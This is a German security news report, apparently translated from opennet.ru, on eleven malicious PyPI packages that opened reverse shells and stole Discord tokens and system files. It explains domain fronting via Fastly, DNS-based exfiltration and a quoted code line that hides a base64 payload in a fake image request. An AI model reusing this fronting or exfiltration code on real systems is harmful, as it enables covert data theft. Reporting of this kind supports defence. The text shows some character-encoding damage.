Im Katalog PyPI (Python Package Index) wurden 11 Pakete mit bösartigem Code entdeckt. Bis zur Feststellung der Probleme wurden die Pakete insgesamt etwa 38.000 Mal heruntergeladen. Die entdeckten bösartigen Pakete zeichnen sich durch ausgeklĂŒgelte Methoden zur Verschleierung ihrer KommunikationskanĂ€le mit den Servern der Angreifer aus.
- importantpackage (6305 Downloads), important-package (12897) â stellten eine Verbindung zu einem externen Server unter dem Vorwand einer Verbindung zu pypi.python.org her, um Shell-Zugriff auf das System (Reverse Shell) zu gewĂ€hren, und verwendeten zur Verschleierung des Kommunikationskanals das Programm trevorc2.
- pptest (10001), ipboards (946) â nutzten DNS als Kommunikationskanal, um Systeminformationen zu ĂŒbertragen (im ersten Paket den Hostnamen, das Arbeitsverzeichnis, interne und externe IP, im zweiten Paket den Benutzer- und Hostnamen).
- owlmoon (3285), DiscordSafety (557), yiffparty (1859) â erfassten im System das Token des Discord-Dienstes und sendeten es an einen externen Host.
- trrfab (287) â sendete auf einen externen Host die ID, den Hostnamen und den Inhalt von /etc/passwd, /etc/hosts, /home.
- 10Cent10 (490) â stellte eine RĂŒckverbindung zu einem externen Host fĂŒr eine Shell her.
- yandex-yt (4183) â gab eine Nachricht ĂŒber die Kompromittierung des Systems aus und leitete auf eine Seite mit zusĂ€tzlichen Informationen ĂŒber weitere Schritte weiter, die ĂŒber nda.ya.ru (api.ya.cc) bereitgestellt wurde.
Besondere Aufmerksamkeit verdient die Methode der Anbindung an externe Hosts, die in den Paketen importantpackage und important-package verwendet wurde. Diese nutzten ein Content Delivery Network (CDN), um ihre AktivitÀten zu verschleiern. TatsÀchlich wurden Anfragen an den Server pypi.python.org gesendet (darunter auch, indem der Name python.org in SNI innerhalb der HTTPS-Anfrage angegeben wurde), jedoch wurde im HTTP-Header "Host" der Name des Servers, der den Angreifern gehörte (sec.forward.io.global.prod.fastly.net), eingestellt. Das CDN leitete eine solche Anfrage an den Server der Angreifer weiter und verwendete dabei die TLS-Verbindungsparameter mit pypi.python.org.
Die Infrastruktur von PyPI wird ĂŒber ein Content Delivery Network (CDN) von Fastly ermöglicht, in dem ein transparenter Proxy Varnish fĂŒr die Caching von Standardanfragen verwendet wird und die TLS-Zertifikatsverarbeitung auf CDN-Ebene statt auf den Endservern erfolgt, um die Weiterleitung von HTTPS-Anfragen ĂŒber den Proxy zu organisieren. UnabhĂ€ngig vom Zielhost werden Anfragen an den Proxy gerichtet, der den benötigten Host anhand des HTTP-Headers "Host" bestimmt, und Domainnamen Hosts werden an die standardisierten IP-Adressen der Fastly CDN-Lastverteilungsserver gebunden, die fĂŒr alle Kunden gelten.
Der Server der Angreifer ist ebenfalls im Fastly CDN registriert, das allen Interessierten kostenlose Tarife anbietet und sogar anonyme Registrierungen erlaubt. Bemerkenswert ist, dass bei der Erstellung eines «Reverse Shell» auch das gleiche Schema verwendet wird, jedoch initiiert durch den Host der Angreifer. Die Interaktion mit dem Server der Angreifer erscheint wie eine legitime Sitzung mit dem PyPI-Katalog, verschlĂŒsselt unter Verwendung von TLS-Zertifikat PyPI. Eine solche Technik, bekannt als «Domain Fronting», wurde frĂŒher hĂ€ufig verwendet, um den Hostnamen zu verstecken, wĂ€hrend Sperren umgangen wurden, indem in einigen CDN-Netzen die Möglichkeit genutzt wurde, ĂŒber HTTPS mit einer fiktiven Hostangabe im SNI und der tatsĂ€chlichen Ăbermittlung des angeforderten Hostnamens im HTTP-Header Host innerhalb der TLS-Sitzung zu kommunizieren.

Zur Verschleierung bösartiger AktivitĂ€ten wurde zusĂ€tzlich das Paket TrevorC2 verwendet, das die Interaktion mit dem Server wie normales Web-Browsing erscheinen lĂ€sst, zum Beispiel wurden die schĂ€dlichen Anfragen unter dem Vorwand des Herunterladens eines Bildes «https://pypi.python.org/images/guid=» gesendet, wobei die Informationen im Parameter guid kodiert wurden. url = «https://pypi.python.org» + «/images» + «?» + «guid=» + b64_payload r = request.Request(url, headers = {âHostâ: «psec.forward.io.global.prod.fastly.net»})
In den Paketen pptest und ipboards wurde ein anderer Ansatz zur Verschleierung der NetzwerkaktivitĂ€ten verwendet, der auf der Kodierung nĂŒtzlicher Informationen in Anfragen an den DNS-Server basiert. Die Malware ĂŒbertrĂ€gt Informationen, indem sie DNS-Anfragen der Art «nu4timjagq4fimbuhe.example.com» sendet, bei denen mittels des base64-Formats im Subdomainsnamen die an den Command-and-Control-Server ĂŒbermittelten Daten kodiert sind. Der Angreifer empfangt die Daten der Nachrichten, indem er den DNS-Server fĂŒr die Domain example.com ĂŒberwacht.
Quelle: opennet.ru
